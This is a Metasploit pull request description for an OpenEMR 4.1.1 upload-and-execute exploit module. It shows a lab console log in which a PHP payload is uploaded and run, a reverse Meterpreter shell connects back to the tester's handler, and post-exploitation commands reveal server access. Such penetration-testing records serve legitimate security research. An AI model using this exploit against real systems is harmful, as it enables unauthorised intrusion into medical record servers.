rapid7/metasploit-framework — pull request #1495 by jvazquez-r7 (2013-02-16 12:13:24+00:00)
Title: Added module for OSVDB 90222

Tested with OpenEMR 4.1.1 on Ubuntu 10.04:

```
msf exploit(openemr_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.142:80 - Sending PHP payload (FaWleJOVabmAP.php)
[*] 192.168.1.142:80 - Executing PHP payload (FaWleJOVabmAP.php)
[*] Sending stage (39217 bytes) to 192.168.1.142
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.142:53440) at 2013-02-16 13:12:43 +0100
[+] Deleted FaWleJOVabmAP.php

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
eComputer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.142 - Meterpreter session 5 closed. Reason: User exit
msf exploit(openemr_upload_exec) > check

[*] 192.168.1.142:80 - Trying to detect installed version
[*] 192.168.1.142:80 - Version 4.1.1 detected
[*] 192.168.1.142:80 - Trying to detect the vulnerable component
[*] The target service is running, but could not be validated.

```